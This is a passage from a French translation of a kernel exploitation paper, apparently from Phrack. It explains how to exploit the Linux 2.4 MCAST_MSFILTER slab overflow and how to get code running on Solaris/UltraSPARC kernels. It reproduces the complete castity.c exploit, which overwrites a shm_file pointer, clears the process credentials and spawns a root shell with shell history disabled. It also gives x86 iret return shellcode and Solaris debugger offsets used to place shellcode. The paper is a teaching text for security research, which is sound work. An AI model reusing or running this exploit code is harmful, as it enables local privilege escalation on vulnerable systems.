couleurs lors de la libération des slabs, donc, ça doit être aussi pris en compte (facile à faire sous Solaris puisque slab_create est le nombre maximum de slabs créés). ---[ 2.2.2 - Exploitation d'un débordement de Slab : MCAST_MSFILTER Maintenant qu'on a les bases techniques pour comprendre et exploiter un débordement de slab, il est temps pour un exemple pratique. Nous présentons ici un exemple pour la vulnérabilité MCAST_MSFILTER [4] trouvée par les gens d'iSEC : < linux-2.4.24/net/ipv4/ip_sockglue.c > case MCAST_MSFILTER: { struct sockaddr_in *psin; struct ip_msfilter *msf = 0; struct group_filter *gsf = 0; int msize, i, ifindex; if (optlen < GROUP_FILTER_SIZE(0)) goto e_inval; gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL); [2] if (gsf == 0) { err = -ENOBUFS; break; } err = -EFAULT; if (copy_from_user(gsf, optval, optlen)) { [3] goto mc_msf_out; } if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < optlen) { [4] err = EINVAL; goto mc_msf_out; } msize = IP_MSFILTER_SIZE(gsf->gf_numsrc); [1] msf = (struct ip_msfilter *)kmalloc(msize,GFP_KERNEL); [7] if (msf == 0) { err = -ENOBUFS; goto mc_msf_out; } [...] msf->imsf_multiaddr = psin->sin_addr.s_addr; msf->imsf_interface = 0; msf->imsf_fmode = gsf->gf_fmode; msf->imsf_numsrc = gsf->gf_numsrc; err = -EADDRNOTAVAIL; for (i=0; igf_numsrc; ++i) { [5] psin = (struct sockaddr_in *)&gsf->gf_slist[i]; if (psin->sin_family != AF_INET) [8] goto mc_msf_out; msf->imsf_slist[i] = psin->sin_addr.s_addr; [6] [...] mc_msf_out: if (msf) kfree(msf); if (gsf) kfree(gsf); break; [...] < / > < linux-2.4.24/include/linux/in.h > #define IP_MSFILTER_SIZE(numsrc) \ [1] (sizeof(struct ip_msfilter) - sizeof(__u32) \ + (numsrc) * sizeof(__u32)) [...] #define GROUP_FILTER_SIZE(numsrc) \ [4] (sizeof(struct group_filter) - sizeof(struct __kernel_sockaddr_storage) \ + (numsrc) * sizeof(struct __kernel_sockaddr_storage)) < / > La vulnérabilité se cache dans un débordement d'entier [1], puisque nous contrôlons la structure gsf (comme on peut le voir en [2] et [3]). La vérification en [4] se montre être, initialement, un problème, qui se trouve résolu grâce aux propriété des slabs qui ne nettoyent pas les objets libérés (on reviendra là dessus bientôt). C'est dans la boucle for en [5] que nous effectuons réellement le débordement, en écrivant, en [6], le "psin->sin_addr.s_addr" passé via la structure gsf dans la structure msf allouée précédement [7] (par kmalloc avec une valeur de msize mal calculée). Cette boucle est une bénédiction, parce que grâce à la vérification en [8], nous sommes capables d'éviter un problème classique de bugs de débordement d'entier (c'est à dire écrire _beaucoup_ trop loin après le buffer à cause de la valeur généralement immense utilisée pour générer le débordement) et de terminer proprement via mc_msf_out. Comme déjà expliqué, quand on décrivait la "première approche d'exploitation", nous devons trouver quelques objets/données qui se trouvent alloués (via kmalloc) dans le même slab et qui contiennent un pointeur vers quelque valeur-cruciale qui nous permettrait de changer le flux d'exécution. Nous trouvons une telle solution dans la "struct shmid_kernel" : < linux-2.4.24/ipc/shm.c > struct shmid_kernel /* private to the kernel */ { struct kern_ipc_perm shm_perm; struct file * shm_file; int id; [...] }; [...] asmlinkage long sys_shmget (key_t key, size_t size, int shmflg) { struct shmid_kernel *shp; int err, id = 0; down(&shm_ids.sem); if (key == IPC_PRIVATE) { err = newseg(key, shmflg, size); [...] static int newseg (key_t key, int shmflg, size_t size) { [...] shp = (struct shmid_kernel *) kmalloc (sizeof (*shp), GFP_USER); [...] } < / > Comme vous le voyez, la struct shmid_kernel fait 64 octets de long et est allouée via un cache générique de kmalloc (dimensionné à 64) [nous pouvons en allouer autant qu'on veut (jusqu'à remplir le slab) en utilisant des appels subséquents "shmget"]. À l'intérieur, on trouve un pointeur vers un "struct file", que nous pourrions faire pointer, grâce au débordement, vers l'espace utilisateur, où nous émulerons toutes les structures nécessaires pour générer une déréférencement de pointeur de fonction (c'est exactement ce que l'exploit fait). Maintenant, il est temps de forcer la valeur de msize à être > 32 et <= 64, pour qu'elle soit allouée dans le même cache générique (dimensionné à 64). Les "bonnes" valeurs pour gsf->gf_numsrc vont de 0x40000005 à 0x4000000c. Mais ça génère un autre problème : puisque nous ne pouvons écrire que 4 octets pour chaque __kernel_sockaddr_storage présent dans la structure gsf, nous avons besoin qu'il soit très grand pour atteindre le pointeur "shm_file", et donc, nous devons passer une grosse valeur pour "optlen". La plage 0x40000005 - 0x4000000c, de toute façon, fera que la macro GROUP_FILTER_SIZE() utilisée en [4] l'évaluera comme petite et positive, mais pas assez grand pour atteindre le pointeur "shm_file". Nous résolvons ce problème grâce au fait qu'une fois qu'un objet est libéré, son "contenu mémorie" n'est pas remis à zéro (ou nettoyé d'une manière ou d'une autre). Puisque le copy_from_user en [3] a lieu _avant_ la vérification en [4], nous sommes capables de créer une séquence d'objets de taille 1024 en faisant échouer "setsockopt" (en [4]) plusieurs fois, et donc, d'en obtenir un assez grand. En espérant rendre les choses plus claires, résumons les étapes : - Remplir les 1024 slabs pour qu'à la prochaine allocation, un tout nouveau soit retourné ; - Allouer le premier objet du nouveau slab-1024 ; - Utiliser autant d' "échecs" de setsockopt que besoin pour copier des valeurs dasn les objets 2 et 3 [et 4, si besoin, mais ce n'est pas le cas en général] ; - Libérer le premier objet : - Utiliser une valeur plus petite (mais toujours pour aboutir dans le slab-1024) pour optlen qui passera le test en [4]. À ce moment, le pointeur gsf pointe vers le premier objet dans notre slab tout fraichement créé. Les objets 2 et 3 n'ont pas encore été ré-utilisés, et contiennent toujours nos données. Puisque ces objets sont adjacents dans le slab, nous avons une structure gsf de-facto plus grande (et grande assez) pour atteindre le pointeur "shm_file". Dernière note, pour remplire de manière sûre le slab, nous vérifions /proc/slabinfo. L'exploit, appellé casify.c, a été écrit quand l'advisory a été pubilé, et ne fonctionne que pour noyaux 2.4.* (la vulnérabilité sys_epoll [12] était plus que suffisante pour les 2.6.* ;) ). Voici l'exploit, sans les en-tête initiales, puisque l'approche a déjà été énormément décrite plus haut. < stuff/expl/linux/castity.c > #include #include #include #include #include #include #include #include #include #include #include #define __u32 unsigned int #define MCAST_MSFILTER 48 #define SOL_IP 0 #define SIZE 4096 #define R_FILE "/etc/passwd" // Set it to whatever file you can read. It's just for 1024 filling. struct in_addr { unsigned int s_addr; }; #define __SOCK_SIZE__ 16 struct sockaddr_in { unsigned short sin_family; /* Address family */ unsigned short int sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ /* Pad to size of `struct sockaddr'. */ unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)]; }; struct group_filter { __u32 gf_interface; /* interface index */ struct sockaddr_storage gf_group; /* multicast address */ __u32 gf_fmode; /* filter mode */ __u32 gf_numsrc; /* number of sources */ struct sockaddr_storage gf_slist[1]; /* interface index */ }; struct damn_inode { void *a, *b; void *c, *d; void *e, *f; void *i, *l; unsigned long size[40]; // Yes, somewhere here :-) } le; struct dentry_suck { unsigned int count, flags; void *inode; void *dd; } fucking = { 0xbad, 0xbad, &le, NULL }; struct fops_rox { void *a, *b, *c, *d, *e, *f, *g; void *mmap; void *h, *i, *l, *m, *n, *o, *p, *q, *r; void *get_unmapped_area; } chien; struct file_fuck { void *prev, *next; void *dentry; void *mnt; void *fop; } gagne = { NULL, NULL, &fucking, NULL, &chien }; static char stack[16384]; int gotsig = 0, fillup_1024 = 0, fillup_64 = 0, uid, gid; int *pid, *shmid; static void sigusr(int b) { gotsig = 1; } void fatal (char *str) { fprintf(stderr, "[-] %s\n", str); exit(EXIT_FAILURE); } #define BUFSIZE 256 int calculate_slaboff(char *name) { FILE *fp; char slab[BUFSIZE], line[BUFSIZE]; int ret; /* UP case */ int active_obj, total; bzero(slab, BUFSIZE); bzero(line, BUFSIZE); fp = fopen("/proc/slabinfo", "r"); if ( fp == NULL ) fatal("error opening /proc for slabinfo"); fgets(slab, sizeof(slab) - 1, fp); do { ret = 0; if (!fgets(line, sizeof(line) - 1, fp)) break; ret = sscanf(line, "%s %u %u", slab, &active_obj, &total); } while (strcmp(slab, name)); close(fileno(fp)); fclose(fp); return ret == 3 ? total - active_obj : -1; } int populate_1024_slab() { int fd[252]; int i; signal(SIGUSR1, sigusr); for ( i = 0; i < 252 ; i++) fd[i] = open(R_FILE, O_RDONLY); while (!gotsig) pause(); gotsig = 0; for ( i = 0; i < 252; i++) close(fd[i]); } int kernel_code() { int i, c; int *v; __asm__("movl %%esp, %0" : : "m" (c)); c &= 0xffffe000; v = (void *) c; for (i = 0; i < 4096 / sizeof(*v) - 1; i++) { if (v[i] == uid && v[i+1] == uid) { i++; v[i++] = 0; v[i++] = 0; v[i++] = 0; } if (v[i] == gid) { v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0; return -1; } } return -1; } void prepare_evil_file () { int i = 0; chien.mmap = &kernel_code ; // just to pass do_mmap_pgoff check chien.get_unmapped_area = &kernel_code; /* * First time i run the exploit i was using a precise offset for * size, and i calculated it _wrong_. Since then my lazyness took * over and i use that ""very clean"" *g* approach. * Why i'm telling you ? It's 3 a.m., i don't find any better than * writing blubbish comments */ for ( i = 0; i < 40; i++) le.size[i] = SIZE; } #define SEQ_MULTIPLIER 32768 void prepare_evil_gf ( struct group_filter *gf, int id ) { int filling_space = 64 - 4 * sizeof(int); int i = 0; struct sockaddr_in *sin; filling_space /= 4; for ( i = 0; i < filling_space; i++ ) { sin = (struct sockaddr_in *)&gf->gf_slist[i]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = 0x41414141; } /* Emulation of struct kern_ipc_perm */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = IPC_PRIVATE; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = uid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = gid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = uid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = gid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = -1; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = id/SEQ_MULTIPLIER; /* evil struct file address */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = (unsigned long)&gagne; /* that will stop mcast loop */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = 0xbad; sin->sin_addr.s_addr = 0xdeadbeef; return; } void cleanup () { int i = 0; struct shmid_ds s; for ( i = 0; i < fillup_1024; i++ ) { kill(pid[i], SIGUSR1); waitpid(pid[i], NULL, __WCLONE); } for ( i = 0; i < fillup_64 - 2; i++ ) shmctl(shmid[i], IPC_RMID, &s); } #define EVIL_GAP 4 #define SLAB_1024 "size-1024" #define SLAB_64 "size-64" #define OVF 21 #define CHUNKS 1024 #define LOOP_VAL 0x4000000f #define CHIEN_VAL 0x4000000b main() { int sockfd, ret, i; unsigned int true_alloc_size, last_alloc_chunk, loops; char *buffer; struct group_filter *gf; struct shmid_ds s; char *argv[] = { "le-chien", NULL }; char *envp[] = { "TERM=linux", "PS1=le-chien\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL }; true_alloc_size = sizeof(struct group_filter) - sizeof(struct sockaddr_storage) + sizeof(struct sockaddr_storage) * OVF; sockfd = socket(AF_INET, SOCK_STREAM, 0); uid = getuid(); gid = getgid(); gf = malloc (true_alloc_size); if ( gf == NULL ) fatal("Malloc failure\n"); gf->gf_interface = 0; gf->gf_group.ss_family = AF_INET; fillup_64 = calculate_slaboff(SLAB_64); if ( fillup_64 == -1 ) fatal("Error calculating slab fillup\n"); printf("[+] Slab %s fillup is %d\n", SLAB_64, fillup_64); /* Yes, two would be enough, but we have that "sexy" #define, why don't use it ? :-) */ fillup_64 += EVIL_GAP; shmid = malloc(fillup_64 * sizeof(int)); if ( shmid == NULL ) fatal("Malloc failure\n"); /* Filling up the size-64 and obtaining a new page with EVIL_GAP entries */ for ( i = 0; i < fillup_64; i++ ) shmid[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT|SHM_R); prepare_evil_file(); prepare_evil_gf(gf, shmid[fillup_64 - 1]); buffer = (char *)gf; fillup_1024 = calculate_slaboff(SLAB_1024); if ( fillup_1024 == -1 ) fatal("Error calculating slab fillup\n"); printf("[+] Slab %s fillup is %d\n", SLAB_1024, fillup_1024); fillup_1024 += EVIL_GAP; pid = malloc(fillup_1024 * sizeof(int)); if (pid == NULL ) fatal("Malloc failure\n"); for ( i = 0; i < fillup_1024; i++) pid[i] = clone(populate_1024_slab, stack + sizeof(stack) - 4, 0, NULL); printf("[+] Attempting to trash size-1024 slab\n"); /* Here starts the loop trashing size-1024 slab */ last_alloc_chunk = true_alloc_size % CHUNKS; loops = true_alloc_size / CHUNKS; gf->gf_numsrc = LOOP_VAL; printf("[+] Last size-1024 chunk is of size %d\n", last_alloc_chunk); printf("[+] Looping for %d chunks\n", loops); kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); if ( last_alloc_chunk > 512 ) ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + loops * CHUNKS, last_alloc_chunk); else /* * Should never happen. If it happens it probably means that we've * bigger datatypes (or slab-size), so probably * there's something more to "fix me". The while loop below is * already okay for the eventual fixing ;) */ fatal("Last alloc chunk fix me\n"); while ( loops > 1 ) { kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + --loops * CHUNKS, CHUNKS); } /* Let's the real fun begin */ gf->gf_numsrc = CHIEN_VAL; kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); shmctl(shmid[fillup_64 - 2], IPC_RMID, &s); setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer, CHUNKS); cleanup(); ret = (unsigned long)shmat(shmid[fillup_64 - 1], NULL, SHM_RDONLY); if ( ret == -1) { printf("Le Fucking Chien GAGNE!!!!!!!\n"); setresuid(0, 0, 0); setresgid(0, 0, 0); execve("/bin/sh", argv, envp); exit(0); } printf("Here we are, something sucked :/ (if not L1_cache too big, probably slab align, retry)\n" ); } < / > ------[ 2.3 - Vulnérabilités de débordement dans la pile Quand un processus est en "mode noyau", il a une pile qui est différente de celle qu'il utilise en mode utilisateur. Nous l'appellerons "pile noyau". La pile noyau est d'habitude limitée en taille à une paire de pages (sous linux, par exemple, c'est 2 pages, 8kb, mais une option à la compilation existe pour pouvoir la limiter à une page) et ce n'est pas une surprise si une pratique de conception commune dans le développement de code noyau est d'utiliser, localement à une fonction, aussi peut d'espace dans la pile que possible. Au premier coup d'oeil, on peut imaginer deux scénarios différents qui peuvent avoir le nom de "vulnérabilité de débordement depile" : - Vulnérabilités de débordement de pile "standarde" : une écriture en dehors du buffer sur la pile écrase le pointeur de sauvegarde d'instruction ou le pointeur de cadre (seulement Solaris, Linux est compilé avec -fomit-frame-pointer) ou quelques variables (souvent un pointeur) aussi stocké sur la pile ; - "débordement de la taille de la pile" : une suite d'appels profondément imbriqués fini par dépasser l'espace alloué à la pile. L'exploitation basée sur la pile est plus spécifique à l'architecture et à l'OS. que les exploitations déjà présentées basées sur les slabs. C'est du au fait qu'une fois que la pile est cassée nous récupérons le flux d'exécution, mais nous devons trouver un moyen de retourner vers l'espace utilisateur. Nous ne donneront pas les détails pour l'architecture x86, puisqu'ils ont déjà été très bien expliqués par noir dans son papier du phrack60 [13]. Nous allons plutôt nous concentrer sur l'architecture UltraSPARC et sur son système d'exploitation le plus habituel, Solaris. La prochaine section vous décrira les détails intéressants et présentera une technique qui est adaptée aussi pour l'exploitation des débordements dans les slabs (ou plus généralement toute les vulnérabilités de "redirection du flux contrôlée"). L'architecture AMD64 ne sera pas couverte, puisqu'elle est notre "architecture d'exemple" pour la prochaine sorte de vulnérabilité (race condition). L'exploit sendmsg [5] proposé plus loins est, finalement, un exploit basé sur la pile. Juste avant de continuer dans la section sur UltraSPARC, nous allons donner quelques mots sur les besoins de retour-au-ring3 sur architecture x86 et l'utilisation de la pile par Linux (puisque c'est assez diférent de sous Solaris). Linux regroupe ensemble la pile et les structures associées à chaque processus du système (sous Linux 2.4 c'est directement dans la task_struct, sous 2.6 c'est dans la thread_info, qui est plus petite et contient un pointeur vers la task_struct). Cette zone mémoire fait, par défaut, 8Kb (une option du noyau permet de la restreindre à 4Kb), c'est la taille de deux pages, qui sont allouées l'une après l'autre et dont la première est alignée sur un multiple de 2^13. L'adresse de thread_struct (ou de task_struct) et donc calculée à l'exécution en masquant les 13 bits de points faible de la Pile Noyau (%esp). La pile commence au pied de cette page et "grandis" vers le haut, où thread_info (ou task_struct) est stocké. Pour éviter le "deuxième" type de débordement, quand la pile de 4Kb est sélectionnée à la compilation, le noyau utilise deux piles par-CPU annexes, une pour la gestion des interruptions et une pour les fonctions softirq et tasklets, les deux de la taille d'une page. C'est évidement sur la pile que Linux stocke toutes les informations nécessaires pour finir une exception, interruption ou appel de fonction, et logiquement, pour revenir au ring3, par exemple en utilisant l'instruction iret. Si nous voulons utiliser l'instruction "iret" dans nos shellcodes pour quitter proprement le mode noyau, nous devons préparer un faux cadre de pile comme il espère le trouver. Nous devons fournir : - Un pointeur de pile valide en espace utilisateur - Un pointeur d'instruction valide en espace utilisateur - Des registres EFLAGS et EFLAGS sauvegardé valides - Un segment de code utilisateur valide - Un segment de pile utilisateur valide ADRESSES BASSES +-----------------+ | | | User SS | -+ | User ESP | | | EFLAGS | | Faux cadre Iret | User CS | | | User EIP | -+ <----- ESP courant | | +-----------------+ Nous avons ajouté un exploit sur la pile démonstratif (pour le driver factice Linux) qui implémente un shellcode qui effectue cette approche de récupération : movl $0x7b,0x10(%esp) // segment de pile utilisateur (SS) movl $stack_chunk,0xc(%esp) // pointeur de pile utilisateur (ESP) movl $0x246,0x8(%esp) // EFLAG sauvegardé valide movl $0x73,0x4(%esp) // segment de code utilisateur (CS) movl $code_chunk,0x0(%esp) // pointeur de code utilisateur (EIP) iret Vous pouvez le trouver dans < expl/linux/stack_based.c > ---[ 2.3.1 - Exploitation UltraSPARC UltraSPARC [14] est une implémentation complète de l'architecture SPARC V9 64-bits [2]. Sa partie la plus "intéressante" d'un point de vue de l'exploitation est le support qu'il donne au système d'exploitation pour avoir des espaces d'adressages utilisateur et noyau complètement séparés. C'est effectué via l'utilisation de registres de contextes et d'identificateurs d'espaces d'adressages "ASI" [Address Space Identifiers]. Le MMU UltraSPARC fourni deux registres de contexte configurables, le primaire (PContext) et le secondaire (SContext). Et un registre supplémentaire cablé à zéro est fournis, qui est le registre nucléaire [NDT : nucléaire, le noyau des atomes.... ] (le "contexte" 0 est là ou vit le noyau). On associe à chaque espace d'adressage des processus une "valeur de contexte", qui est mise dans le registre PContext pendant son exécution. Cette valeur est utilisée pour effectuer des translation d'adresses mémoires. Chaque fois qu'un processus lance une "trap instruction" [NDT : instruction synchrone bloquante, style appel-système, interruption, ...] pour accéder au mode noyau (par exemple la ta 0x8 ou la ta 0x40, qui sont la manière dont sont implémentés les appels systèmes sous Solaris 10), le contexte nucléaire est remis à sa valeur par défaut. La valeur du contexte du processus (enregistré dans PContext) est alors envoyé dans SContext, et le contexte nucléaire est alors pris comme le "contexte primaire". À ce point, le code noyau peut accéder directement au mode utilisateur en spécifiant le bon ASI pour charger et stocker des instructions alternatives (instructinos qui supportent d'être spécifiée directement par ASI - lda/sta). En gros, les identificateurs d'espace d'adressages (ASI) spécifient comment ces instructions doivent se comporter : < usr/src/uts/sparc/v9/sys/asi.h > #define ASI_N 0x04 /* nucleus */ #define ASI_NL 0x0C /* nucleus little */ #define ASI_AIUP 0x10 /* as if user primary */ #define ASI_AIUS 0x11 /* as if user secondary */ #define ASI_AIUPL 0x18 /* as if user primary little */ #define ASI_AIUSL 0x19 /* as if user secondary little */ [...] #define ASI_USER ASI_AIUS < / > Ce sont les ASI qui sont définis par la référence SPARC v9 (beaucoup d'ASI sont dépendantes de la machine et permettent de modifier, par exemple, le MMU ou d'autres registres matériels, voir usr/src/uts/sun4u/sys/machasi.h), la version "little" est utilisée pour spécifier l'ordre des octets par rapport à celui "standard", big endian [NDT : big endian s'oppose à littel indian] (SPARC v9 veut accéder aux données dans les deux formats). Le ASI_USER est celui utilisé pour acceder, depuis le noyau, l'espace utilisateur. Une instruction comme la suivante : ldxa [addr]ASI_USER, %l1 va juste charger le mot double stocké à "addr", relativement au contexte d'espace d'adressage stocké dans PContext, "comme si" il était accédé depuis le mode utilisateur (et donc avec toutes les vérifications de protection). Il est donc possible, si nous sommes capables d'exécuter un morceau minimal de code, de copier des octets à partir de l'espace utilisateur vers où nous voulons dans l'espace noyau. Mais comment exécuter notre code d'abord ? Ou, pour rendre les choses plus claires, où devons nous retourner une fois que nous avons effectué notre débordement (slab/pile) et pris le contrôle du pointeur d'instruction ? Pour compliquer un peu plus les choses, l'architecture UltraSPARC implémente le bits de permission d'exécution sur les TTE (Translation Table Entry, qui sont les entrées de la TLB utilisées pour les translations virtuelles/physiques). Il est temps de jeter un coup d'oeil à l'implémentation du noyau Solaris pour trouver une solution. La technique que nous allons vous présenter maintenant (comme vous allez rapidement vous en rendre compte) n'est pas limitée à l'exploitation basée sur la pile, mais peut être utilisée chaque fois que vous êtes capables de rediriger le flot d'instruction noyau vers une adresse arbitraire. ---[ 2.3.2 - Un exploit fiable pour Solaris/UltraSPARC Le modèle de processus de Solaris est légèrement différent de celui de Linux. L'unité fondamentale de l'ordonnancement est le "thread noyau" (décrit par la structure kthread_t), donc, on doit en associer un à chaque LWP (light-weight process) existant dans un processus. Les LWP's sont juste des objets noyaux qui représentent "l'état noyau" de chaque "thread utilisateur" danas un processus, leur permettant à chacun d'entrer dans le noyau indépendament des autres (sans LWP, les threads utilisateurs se battraient à chaque appel système). Les informations relative à un "processus en route" sont disséminées dans différentes structures. Voyons ce qu'on peut en faire. Chaque Système d'Exploitation (et Solaris ne fait pas exception) a une manière de récupérer rapidement le "processus courant". Sous Solaris, c'est le "current kernel thread" et est obtenu, sur UltraSPARC, par : #define curthread (threadp()) < usr/src/uts/sparc/ml/sparc.il > ! return current thread pointer .inline threadp,0 .register %g7, #scratch mov %g7, %o0 .end < / > Il est donc stocké dans le registre globale %g7. Depuis la structure kthread_t, nous pouvons accéder à toutes les autres structures "relative au processus". Puisque nos but principal est de récupérer des privilèges, nous sommes intéressés à la manière dont Solaris stocke les permissions. Celles-ci sont stockées dans la structure cred_t [NDT : cred pour "credential"] pointée par la structure proc_t : # mdb -k Loading modules: [ unix krtld genunix ip usba nfs random ptm ] > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t { p_exec = 0x30000e5b5a8 p_as = 0x300008bae48 p_lockp = 0x300006167c0 p_crlock = { _opaque = [ 0 ] } p_cred = 0x3000026df28 [...] > 0x3000026df28::print cred_t { cr_ref = 0x67b cr_uid = 0 cr_gid = 0 cr_ruid = 0 cr_rgid = 0 cr_suid = 0 cr_sgid = 0 cr_ngroups = 0 cr_groups = [ 0 ] } > ::offsetof proc_t p_cred offsetof (proc_t, p_cred) = 0x20 > ::quit # La sortie de la commande "::ps" introduit une fonctionnalité très intéressante du système d'exploitation Solaris, qui est bénédiction pour l'exploitation. L'adresse de la structure proc_t dans le noyau est exportée vers l'espace utilisateur : bash-2.05$ ps -aef -o addr,comm | grep snmpdx 30000e67488 /usr/lib/snmp/snmpdx bash-2.05$ Au premier coup d'oeil ça ne parrait pas d'un grand intéret, puisque comme on l'a dit, la structure kthread_t contient un pointeur vers sa proc_t relative : > ::offsetof kthread_t t_procp offsetof (kthread_t, t_procp) = 0x118 > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t p_tlist p_tlist = 0x30000e52800 > 0x30000e52800::print kthread_t t_procp t_procp = 0x30000e67488 > Pour comprendre plus précisément pourquoi l'adresse exportée est si importante, nous devons regarder plus profondément la structure proc_t. Cette structure contient la structure user_t, qui garde des informations comme le nom du programme, ses valeurs d'argc/argv, ... : > 0000030000e67488::print proc_t p_user [...] p_user.u_ticks = 0x95c p_user.u_comm = [ "snmpdx" ] p_user.u_psargs = [ "/usr/lib/snmp/snmpdx -y -c /etc/snmp/conf" ] p_user.u_argc = 0x4 p_user.u_argv = 0xffbffcfc p_user.u_envp = 0xffbffd10 p_user.u_cdir = 0x3000063fd40 [...] On peut en contrôler beaucoup d'entre eux. Plus important, les pages qui contiennent les process_cache (et donc la structure user_t), ne sont pas marquées de non-exécution, nous pouvons donc exécuter du code qui y serait (par exemple, la pile noyau, alloéue à partir du segment seg_kp [kernel pageable memory], n'est pas exécutable). Voyons comment "u_psargs" est déclaré : < usr/src/common/sys/user.h > #define PSARGSZ 80 /* Space for exec arguments (used by ps(1)) */ #define MAXCOMLEN 16 /* <= MAXNAMLEN, >= sizeof (ac_comm) */ [...] typedef struct user { /* * These fields are initialized at process creation time and never * modified. They can be accessed without acquiring locks. */ struct execsw *u_execsw; /* pointer to exec switch entry */ auxv_t u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */ timestruc_t u_start; /* hrestime at process start */ clock_t u_ticks; /* lbolt at process start */ char u_comm[MAXCOMLEN + 1]; /* executable file name from exec */ char u_psargs[PSARGSZ]; /* arguments from exec */ int u_argc; /* value of argc passed to main() */ uintptr_t u_argv; /* value of argv passed to main() */ uintptr_t u_envp; /* value of envp passed to main() */ [...] < / > L'idée est simple : nous mettons notre shellcode sur la ligne de commande de notre exploit (sans "zéros") et nous calculons depuis l'adresse exportée de proc_t, l'adresse de retour exacte. C'est assez pour exploiter toutes ces situations où nous avons le contrôle du flux d'exécution _sans_ casser la pile (écrasement de pointeur d'instruction, débordement de slab, ...). Nous devons nous souvenir de prendre garde à l'alignement, puisque les "fetch unit" [NDT : partie qui vont chercher les instructions en mémoire] d'UltraSPARC génèrent une exception si l'adresse où elles doivent lire l'instruction n'est pas alignée sur 4 octet (qui est la taille de toutes les instructions sparc) : > ::offsetof proc_t p_user offsetof (proc_t, p_user) = 0x330 > ::offsetof user_t u_psargs offsetof (user_t, u_psargs) = 0x161 > Puisque le proc_t pris dans le "cache processus" est toujours aligné sur 8 octets, nous devons devons sauter 3 octets à partir du début du tableau de caractères u_psargs (qui est là où nous avons mis notre shellcode). Ceci veut dire que nous avons de la place pour 76 / 4 = 19 instruction, ce qui est habituellement assez pour des shellcodes moyens... Mais la place n'est pas vraiment une limite puisque nous pouvons "chainer" plusieurs structures psargs de différents processus, simplement en sautant d'une à l'autre. De plus, nous pourrions écrire un shellcode à deux étapes qui copierait simplement notre plus gros shellcode à partir de l'espace utilisateur en utilisant lda présentée plus tôt. Nous nous retrouvons maintenant devant un scénarios légèrement plus complexe, qui est le "débordement de pile noyau". Nous admettons ici que vous êtes familier des exploits utilisant la pile utilisateur (sinon, allez voir [15] et [16]). Le problème principal ici est que nous devons trouver une manière de retourner de manière sûre vers l'espace utilisateur une fois qu'on a cassé la pile (et donc, pour accéder au pointeur d'instruction, le pointeur de cadre). Une bonne manière pour comprendre comment la "pile noyau" est utilisée pour retourner dans l'espace utilisateur est de suivre le chemin d'un appel système. Vous pouvez en trouver un premier bon exemple ici [17], mais nous pensons qu'une lecture du code d'OpenSolaris est mailleure (vous verrez aussi, en suivant l'entrée sys_trap dans uts/sun4u/ml/mach_locore.s le code qui met le contexte nucléaire dans le registre PContext). Concentrons nous sur l'utilisation de la "pile noyau" : < usr/src/uts/sun4u/ml/mach_locore.s > ALTENTRY(user_trap) ! ! user trap ! ! make all windows clean for kernel ! buy a window using the current thread's stack ! sethi %hi(nwin_minus_one), %g5 ld [%g5 + %lo(nwin_minus_one)], %g5 wrpr %g0, %g5, %cleanwin CPU_ADDR(%g5, %g6) ldn [%g5 + CPU_THREAD], %g5 ldn [%g5 + T_STACK], %g6 sub %g6, STACK_BIAS, %g6 save %g6, 0, %sp < / > Dans %g5, on sauvegarde le nombre de fenêtres qui sont "implémentées" dans l'architecture moins une, ce qui donne, dans notre cas, 8 - 1 = 7. CLEANWIN sera mis à cette valeur puisqu'il n'y a aucune fenêtre utilisée en dehors de celle-ci, et donc, le noyau a 7 fenêtres libres à utiliser. L'adresse de la structure cpu_t est alors sauvegardée dans %g5 (par CPU_ADDR) et, à partir d'ici, le pointeur de thread [ cpu_t->cpu_thread ] est obtenu. À partir de la structure kthread_t on obtient "l'adresse de la pile noyau" [le nom du champ est t_stk]. Celle-ci est une bonne nouvelle, puisque ce membre est facilement atteignable dans un shellcode (c'est juste une histoire d'accéder correctement à %g7 / le pointeur de thread). À partir d'ici, nous pouvons suivre le chemin de sys_trap et nous seront capable d'avoir une idée de ce qu'on trouvera sur la pile après la valeur de kthread_t->t_stk et où on le trouvera. À cette valeur est ensuite soustrait "STACK_BIAS" : l'ABI SPARC v9 64bits spécifie que les registres %fp et %sp on un offset d'une constante, le stack bias, qui est de 2047 bits. C'est une chose dont on devra se souvenir lors de l'écriture de notre shellcode "stack fixup". Sur les noyaux 32 bits, la valeur de cette constante est 0. Le save qui suit est une autre bonne nouvelle, parce que ça 